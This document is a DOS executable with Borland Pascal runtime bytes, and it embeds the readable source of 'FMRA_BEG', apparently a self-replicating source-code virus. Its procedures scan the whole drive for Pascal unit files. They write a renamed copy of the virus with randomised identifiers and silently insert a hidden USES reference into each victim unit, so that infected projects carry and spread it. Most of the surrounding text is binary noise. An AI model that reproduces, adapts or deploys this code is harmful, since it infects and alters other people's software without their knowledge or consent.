MZc  0 ABm                 3   8   @   ;  f             6 @ E P U f |     3 J        , R q v              ( ? Q e z            # 6 ; Q l q              0 5 D I d w              1 < A X c n         	 	 !	 ,	 7	 H	 	 	 	 	 	 	 	 
 
 
 
 
 
 
 
 
 
   = w         $ 1 < A r         " 1 ; I S n  	  $  7  ;  NNsNN+NAN`NFMRA was started!  N   U$W  Wj d	N@N1N              UV!  ӎÌ v0ۍ W Wh N 0䉆 ;* PGN ;u܍ W~Wh N .pas Ɔ  F0PN@sƆ:wVjNA W WNWPNCN Wh N:uWW WN WCNINWNN	tW!N/ W~Wh N _ WjnWjNFFWjWCNF0^WjN~
uFFFF0@<
weFFF0^WF0^WNu0WjkWCNF0^WjNF ~
u~	u~ uu ӎÌ v0~WN~WN~W/
Nt ~W Wh )	N NƆ0W WoN	~m0W WoN W0P00PlN0^W Wh 0PNs
te~W Wj d	N@N~W!N~W!N~Wj
N~W W
N .pas#39'#38{$I .inc}UNITUNIT ;.incCONSTFMRA_MaxConst = 7FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =);Scheriff.pasUSES {$IFNDEF D+} , {$ENDIF D+}  ӎÌ v0ۍWjWjN WWWNWCNIN WNN	tǆ i  W Wh NW WoN	~>W WoN WjlNW Wh N뮿W WoN	~>W WoN WjlNW Wh N뮿W WoN= u3WWNWCNWCN Wh NW WoN= u3WWNWCNWCN Wh N W Wj d	N@N	t W!N WWj2WCNIN W WWWNWCN WWWNWCNIN WNN	tm WWj d	N@N WWj d	Nj h	j 	Nj;j N@N WWj d	N@N Wj(j N@Nǆ  Wj'j Ni  Wj d	Nj'j Nj,j N@Nu Wj'j NZWj d	Nj'j N(Wj d	N@N W!N WWjWCNIN W WWWNWCNE W WIN WNN	t  W+WIN WN W/
Nt  W Wh )	N N8WW WjoN	~PW>WNWCNLWCN Wh 8WW WoN PN W Wj d	N@NM W!N W!N Wj
N W W
N {$IFNDEFIMPLEMENTATION ӎÌ v0ۍ W WIN WNN	t Ɔ  W/
NuV WWh )	N NN	WWoN	~Ɔ "WWW	WNuƆ뛍 W!N t	 W- \*.*....PASN ӎÌ~v<OrO0> 1FFF0{\t&W~WN2
WCN~WjONW~WN4
WCNXWjONXWj?BW  @>" tW$t``W8
WNtO`W:
WNt>jNFVFV~&E&U`W~WjNFVFV W$t W$t XWnWh NnWX0HHPjlNWnWN`WCNnWh NnWWWW| @W=
WNuW$unWrBW> @FFu W~WN~WCNXWjONXW/NN	t FVFV~&E&UFVvvjNWXWN2
WCNXWjONN	u	XW~WXWjONX0HX:t
F0HXXW/N :P WNj ~WjO
NF0{\u~WF0PjlNWFPNWCNWh NPGN0-A P򍾰WFPGN0-A P~W/NUb  U N]U( $W $WN$W$WN]˴<t
<v U  2$3 @4l &&:t&<ҹ7 8%!Î4&& <t<rP WX
t- J0  @*u&   , %ôP0  X 
u<wʴ v3PU؀> t Xπ>  u  t ^C6G#m 6W
6w6O6o:w':w#xx:w:.wA  >6% >ʊ˸PX>:u2ˋ6W6wr:w6r	:6w **ˋ6Gt$&p 6G$& &ˀˠˋ6O43&3  -  r&:tË6_4 ;sauaCBB a$aˀ> u tˠ 
u2
u
&
uˋ6EE  E]EgME0  6}ˁ}t
E׸L؉EM]MMM3 U~&UJJ&u&}3 \ <t4<t0<tDI<t'<t#<t7<tF<tO< r;t&C ;vt   } K;t&< rj C둀> t&C
N &
CC~3&E&]
] 6&M&)M&}> u& G 3 3  
SQRPr X<t*<t-<t3<
t5	2 RcZ:v O:t	 - ZY[:6vQR>ZYô2
24P ڋ&<t!<t,<
t5<t9G:v<n ,b QR ZYS :tF y> G0 4P &J 2ȋc  B J B;tcQRW+4&J 2c >I :u8>
tutë笫_ZYVWU]_^ UPv~<OrO2V!VN
N!~  ]
 UV!O!~ ] r2 ъON3"Uv2tx\t	x:tKuC ~' 38.tC;u ~
 ڸ ~ ] +;rêúUڌ(3L  £(&  $9 .5!E %!#%! $%!?%!$PPcP+$PPcP3[SYt@SYt@<3 Xǖ 9sWT!NX[YZ^_]ϸ  Y[ 33ۺU"t= t/& t+w= s r&; r& ыȌ+($&t3 ,nPS˸$P$P$9 .%!$&t)L* "2 [ &@ :U $5 ` "L!.
t8 Cñd 
 20P XP XP X$0<:rд! !#$456789:;<=>?uRuntime error   at  .
 Portions Copyright (c) 1983,92 BorlandUF ]r  pUFNq]r  V6
 6&=>
> 7 DrT4;uû;Twr;DsDT4;uá+
% >6ʀ twpَό&=;6t_&;Uwr&;EwWSQ&&]t3SQ&M&]+ڃ $&&E&M&]ό_&&]XZ3 $;rw%;wWã
&&U3PXZ6p<rtp<tZuS;wrK;rE;rw=;
s7 &E&U؎ǌ&=;wr;wtRP	 Y[ Ëǌ&M&] ;u:;u6;u;
u	>
W&&U $_&&U % 3,˃>, uˡ,6D&;U|&;r&;U|&;Ew˸   r+s	;*r˸ 3ҋ66w3׫ 3EtN3 O u	:v
t2 6
6G&E6G&E6G&E3&E&E

 U~&E=t=t=t,f $RW% Z3&U&E&E
 L t&E]  U~&}t&}t,g P  X
t 
 &E] WW&t,_Ë6&U&M&?!r&E
3&E   &E
  6&U3&M&@!r+te  6&U3&M&@!r3 6&v>!r3 >, u5&u.&w&;w
t+SR&W&_
+[&wu,h PQRWS3[_ZYX&w&;w
uÃ>, u@&u9&O&++s3&w +&&;u	RS [Zu,i Ã>, uH&uA&O&++s3S&_+[&&;uPRVS [^ZXu,i U^3u
& tp ] <t<t;u;t	<
tN3ø3U^ @Xu
& t- ] U^& t
>, u ] S&_t,S&_t,U>, u8^&u'&&;
u^&&;
t&G&_&],h U^
VJ~m>, u)&u%&G&&W&_F&A;u^
_] ,i U^L	N~V
G~+H] <t<t;L	N3U^&2^V+~PXt
vV
F] U ^	  ~Uύ~+tr
,j 3Ћ]ˬ< w<t;u	ì< v;	N3U FV
~ d^V+~QWK_Y]  U^F
3] <tt<tt< w;uF
IN3Ë6W0A!s, 3UPv~O u	:v
t2V
0~V!s,v~
0
u] U vF
u!@F:\FFG!s v~N3
tC&&] U a F
t*:u $,Aд!!:t, ~ t;K ] U   96 ] U  :! ] v~<r2V!s,܌66w2 ܌6w
66O:v2
 ܌66w26O +r@6O}3;v3 ܌66w&2& s&G Uv

t,2~&2+rAGuǋًItˋv
F3H+F] ܌6w6&%G:v
t2u:Ď 66G ܌6
6w6G U ~}F  W~
W PFHP~W W~
Wv P~
Wvx] U ~ ~\~ ~V~ O~ ~F  W~
W PFHPX W~
WFFP P>{~
W P	] 63ɉ =}t}t<}0 t	U0!rZnN33ہ}t/ D!Nȋu}u+ N33E׉EUM]EEN3 33ɋB!-  s33ҋʋЋ B!  ?!s33;t  tC+йB!3ɋ@!Z ܋6g6g  =    ƀu
2  <7.<59=   O.0.&U  .0,!.0ˋϾ
 y؃  O&-A3ғ0:rO&u+333]&=+t&=-uNGItL&=$tH&:
s%u6SRP[[[2Ã GЋty؃ 3xGIt&ar :
rsɀ
ru
Gy؃ Ë6G<ar<zw,  Br+3      FMRA_          Manager        ChDrive        UpStr          
RandomName     
InfectFile     DetectUnitFile ScanDir        Exchange       RandomSelect   UNIT FMRA_BEG;                                                                                                                                        	INTERFACE                                                                                                                                             {$I-}                                                                                                                                                 USES DOS, CRT;                                                                                                                                        {$IFNDEF D+}                                                                                                                                          *CONST HappyNewYear = #39Happy New Year#39;                                                                                                            {$ENDIF D+}                                                                                                                                           TYPE                                                                                                                                                    FMRA_PList = ^FMRA_TList;                                                                                                                             FMRA_TList = record                                                                                                                                     Name : String[12];                                                                                                                                    Next : FMRA_Plist;                                                                                                                                    end;                                                                                                                                              CONST                                                                                                                                                 .     Exchange : Array [1..10] of String [15] =                                                                                                             (#39FMRA_#39,                                                                                                                                          #39Manager#39,                                                                                                                                        #39ChDrive#39,                                                                                                                                        #39UpStr#39,                                                                                                                                          #39RandomName#39,                                                                                                                                     #39InfectFile#39,                                                                                                                                     #39DetectUnitFile#39,                                                                                                                                 #39ScanDir#39,                                                                                                                                        #39Exchange#39,                                                                                                                                       #39RandomSelect#39);                                                                                                                            {$I FMRA_INC.inc}                                                                                                                                     VAR                                                                                                                                                      FMRA_SR : SearchRec;                                                                                                                                  FMRA_S : String;                                                                                                                                   ,   Exchange1 : Array [1..10] of String [15];                                                                                                          PROCEDURE FMRA_Manager;                                                                                                                               IMPLEMENTATION                                                                                                                                        &PROCEDURE FMRA_ChDrive (Drive : Byte);                                                                                                                BEGIN                                                                                                                                                      asm                                                                                                                                                      MOV AH, 0Eh                                                                                                                                           MOV DL, Drive;                                                                                                                                        INT 21h                                                                                                                                       	     end;                                                                                                                                             END;                                                                                                                                                  *FUNCTION FMRA_UpStr (S : String) : String;                                                                                                            VAR                                                                                                                                                      S1 : String;                                                                                                                                          i : Integer;                                                                                                                                       BEGIN                                                                                                                                                    S1 := S;                                                                                                                                              for i := 1 to Length (S1) do                                                                                                                       !       S1 [i] := UpCase (S1 [i]);                                                                                                                        FMRA_UpStr := S1;                                                                                                                                  END;                                                                                                                                                  1FUNCTION FMRA_RandomName (Range : Byte) : String;                                                                                                     VAR                                                                                                                                                      S : String;                                                                                                                                           I, J, K : Byte;                                                                                                                                       t : Text;                                                                                                                                          BEGIN                                                                                                                                                      repeat                                                                                                                                                   S := #39#39;                                                                                                                                           K := 1 + Random (Range);                                                                                                                              if K < 7 then K := 7;                                                                                                                                  for J := 1 to K do begin                                                                                                                      "            I := 65 + Random (26);                                                                                                                                S := S + Chr (I);                                                                                                                                 end;                                                                                                                                          #        Assign (t, S + #39.pas#39);                                                                                                                           ReSet (t);                                                                                                                                    $        if IOResult <> 0 then break;                                                                                                                          Close (t);                                                                                                                                         until False;                                                                                                                                          FMRA_RandomName := S;                                                                                                                            END;                                                                                                                                                  PROCEDURE FMRA_RandomSelect;                                                                                                                          VAR                                                                                                                                                      I, J : Byte;                                                                                                                                          Flag : Boolean;                                                                                                                                    BEGIN                                                                                                                                                 *     Exchange1 [1] := FMRA_RandomName (5);                                                                                                                 for I := 2 to 10 do                                                                                                                              9         Exchange1 [I] := FMRA_RandomName (14) + #39_#39;                                                                                                  repeat                                                                                                                                                Flag := True;                                                                                                                                         for J := 1 to 9 do                                                                                                                                        for I := J+1 to 10 do                                                                                                                        8             if Exchange1 [J] = Exchange1 [I] then begin                                                                                              @                Exchange1 [I] := FMRA_RandomName (14) + #39_#39;                                                                                                      Flag := False;                                                                                                                                     end;                                                                                                                                          until Flag;                                                                                                                                      END;                                                                                                                                                  6PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String);                                                                                                VAR                                                                                                                                                      S : String;                                                                                                                                           I, J : Byte;                                                                                                                                       BEGIN                                                                                                                                                      ReSet (t);                                                                                                                                            ReWrite (t1);                                                                                                                                         While not Eof (t) do begin                                                                                                                                  ReadLn (t, S);                                                                                                                             $           for I := 1 to 10 do begin                                                                                                                  7               while Pos (Exchange [I], S) > 0 do begin                                                                                               0                     J := Pos (Exchange [I], S);                                                                                                      :                     Delete (S, J, Length (Exchange [I]));                                                                                            2                     Insert (Exchange1 [I], S, J);                                                                                                                   end;                                                                                                                                              end;                                                                                                                                                  WriteLn (t1, S);                                                                                                                           	     end;                                                                                                                                                  Close (t1);                                                                                                                                           Close (t);                                                                                                                                            Erase (t);                                                                                                                                            Rename (t1, S1);                                                                                                                                 END;                                                                                                                                                  'procedure FMRA_InfectFile (S : String);                                                                                                               var                                                                                                                                                       t1, t2 : Text;                                                                                                                                        S1 : String;                                                                                                                                          I, J : Integer;                                                                                                                                       S2 : String [8];                                                                                                                                  begin                                                                                                                                                        S2 := FMRA_RandomName (8);                                                                                                                      #      Assign (t1, S2 + #39.pas#39);                                                                                                                         ReWrite (t1);                                                                                                                                   !      if IOResult <> 0 then Exit;                                                                                                                     *      for I := 1 to FMRA_MaxConst do begin                                                                                                                      S1 := FMRA_Const [I];                                                                                                                       0          while Pos (#39#38#39, S1) > 0 do begin                                                                                                      )                J := Pos (#39#38#39, S1);                                                                                                             "                Delete (S1, J, 3);                                                                                                                    $                Insert (#38, S1, J);                                                                                                                            end;                                                                                                                                        0          while Pos (#39#38#39, S1) > 0 do begin                                                                                                      )                J := Pos (#39#38#39, S1);                                                                                                             "                Delete (S1, J, 3);                                                                                                                    *                Insert (#39#38#39, S1, J);                                                                                                                      end;                                                                                                                                        *          if Pos (#39{$I #39, S1) = 1 then                                                                                                            1             S1 := #39{$I #39 + S2 + #39.inc}#39;                                                                                                     *          if Pos (#39UNIT#39, S1) = 1 then                                                                                                            .             S1 := #39UNIT #39 + S2 + #39;#39;                                                                                                                  WriteLn (t1, S1);                                                                                                                           
      end;                                                                                                                                                  Close (t1);                                                                                                                                     4      Assign (t2, FMRA_RandomName (8) + #39.pas#39);                                                                                                        FMRA_RandomSelect;                                                                                                                              ,      FMRA_Rename (t1, t2, S2 + #39.pas#39);                                                                                                          #      Assign (t1, S2 + #39.inc#39);                                                                                                                         ReWrite (t1);                                                                                                                                   !      if IOResult <> 0 then Exit;                                                                                                                            WriteLn (t1, #39CONST#39);                                                                                                                      C      WriteLn (t1, #39FMRA_MaxConst = #39, FMRA_MaxConst, #39;#39);                                                                                   R      WriteLn (t1, #39FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =#39);                                                                          WriteLn (t1, #39(#39);                                                                                                                          &      for I := 1 to FMRA_MaxConst-1 do                                                                                                                :          WriteLn (t1, #38, FMRA_Const [I], #38, #39,#39);                                                                                            C      WriteLn (t1, #38, FMRA_Const [FMRA_MaxConst], #38, #39);#39);                                                                                         Close (t1);                                                                                                                                     4      Assign (t2, FMRA_RandomName (8) + #39.inc#39);                                                                                                  ,      FMRA_Rename (t1, t2, S2 + #39.inc#39);                                                                                                                Assign (t1, S);                                                                                                                                       ReSet (t1);                                                                                                                                     !      if IOResult <> 0 then Exit;                                                                                                                     &      Assign (t2, #39Scheriff.pas#39);                                                                                                                      ReWrite (t2);                                                                                                                                   !      while not Eof (t1) do begin                                                                                                                              ReadLn (t1, S1);                                                                                                                             7         if Pos (#39USES #39, FMRA_UpStr (S1)) > 0 then                                                                                               p            Insert (#39{$IFNDEF D+} #39 + S2 +#39, {$ENDIF D+} #39, S1, Pos (#39USES #39, FMRA_UpStr (S1)) + 5);                                               WriteLn (t2, S1);                                                                                                                            
      end;                                                                                                                                                  Close (t2);                                                                                                                                           Close (t1);                                                                                                                                           Erase (t1);                                                                                                                                           Rename (t2, S);                                                                                                                                 end;                                                                                                                                                  +procedure FMRA_DetectUnitFile (S : String);                                                                                                           var                                                                                                                                                       t    : Text;                                                                                                                                          Flag : Boolean;                                                                                                                                       S1   : String;                                                                                                                                    begin                                                                                                                                                       Assign (t, S);                                                                                                                                        ReSet (t);                                                                                                                                      !      if IOResult <> 0 then Exit;                                                                                                                           Flag := False;                                                                                                                                         while not Eof (t) do begin                                                                                                                                  ReadLn (t, S1);                                                                                                                           6            if Pos (#39{$IFNDEF#39, S1) > 0 then begin                                                                                                               Flag := False;                                                                                                                                        Break;                                                                                                                                             end;                                                                                                                                      H            if FMRA_UpStr (S1) = #39IMPLEMENTATION#39 then Flag := True;                                                                              
      end;                                                                                                                                                  Close (t);                                                                                                                                            if Flag then                                                                                                                                             FMRA_InfectFile (S);                                                                                                                         end;                                                                                                                                                  &procedure FMRA_ScanDir(stdir:PathStr);                                                                                                                  var                                                                                                                                                     n,L : FMRA_PList;                                                                                                                                     m : PathStr;                                                                                                                                          St : string[79];                                                                                                                                      ch : char;                                                                                                                                            DIR : DirStr;                                                                                                                                         NAM : NameStr;                                                                                                                                        EXT : EXTSTR;                                                                                                                                     begin                                                                                                                                                   FileMode := 0;                                                                                                                                        L := nil;                                                                                                                                           )  if stdir[Length(stdir)] <> #39\#39 then                                                                                                                 stdir:=stdir+#39\#39;                                                                                                                               m := stdir+#39*.*#39;                                                                                                                                  FindFirst(m,AnyFile, FMRA_SR);                                                                                                                        while dosError=0 do begin                                                                                                                           K    if ((FMRA_SR.Attr and Directory) <> 0) and ((FMRA_SR.Name<>#39.#39) and                                                                           *      (FMRA_SR.Name<>#39..#39)) then begin                                                                                                                  New(n);                                                                                                                                               N^.Next := L;                                                                                                                                         N^.Name := FMRA_SR.Name;                                                                                                                              L := N;                                                                                                                                         	      end                                                                                                                                                 else                                                                                                                                              T      if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin                                                                          FMRA_S := m;                                                                                                                                  )        Delete (FMRA_S, Length (m)-2, 3);                                                                                                             (        FMRA_S := FMRA_S + FMRA_SR.Name;                                                                                                              '        FSPLIT (FMRA_S, DIR, NAM, EXT);                                                                                                               B        IF (EXT = #39.PAS#39) and (FMRA_SR.Attr and Hidden=0) THEN                                                                                    (           FMRA_DetectUnitFile (FMRA_S);                                                                                                              
      end;                                                                                                                                                FindNext(FMRA_SR);                                                                                                                                    end;                                                                                                                                                while L<> nil do begin                                                                                                                                  m := Stdir+L^.Name;                                                                                                                                   ChDir(m);                                                                                                                                             if IOResult <> 0 then Exit;                                                                                                                           n := L;                                                                                                                                               L := L^.next;                                                                                                                                         Dispose(n);                                                                                                                                           m := m+#39\#39;                                                                                                                                       if IOResult = 0 then                                                                                                                                  FMRA_ScanDir(m);                                                                                                                                      m := stdir;                                                                                                                                       %    if m[length(m)-1] <> #39:#39 then                                                                                                                 #      m[0] := chr(length(stdir)-1);                                                                                                                       ChDir(m);                                                                                                                                             end;                                                                                                                                              end;                                                                                                                                                  PROCEDURE FMRA_Manager;                                                                                                                               VAR                                                                                                                                                       Home : PathStr;                                                                                                                                       S    : String;                                                                                                                                    BEGIN                                                                                                                                                      Randomize;                                                                                                                                            GetDir (0, Home);                                                                                                                                )     if Home[Length(Home)] = #39\#39 then                                                                                                             '        Delete (Home, Length(Home), 1);                                                                                                                    S := Home [1] + #39:#39;                                                                                                                         )     FMRA_ChDrive (ORD(UpCase(S[1]))-65);                                                                                                                  FMRA_ScanDir(S);                                                                                                                                 ,     FMRA_ChDrive (ORD(UpCase(Home[1]))-65);                                                                                                               ChDir(Home);                                                                                                                                     END;                                                                                                                                                  BEGIN                                                                                                                                                       FMRA_Manager;                                                                                                                                   END.                                                                                                                                                                                                                  @       
              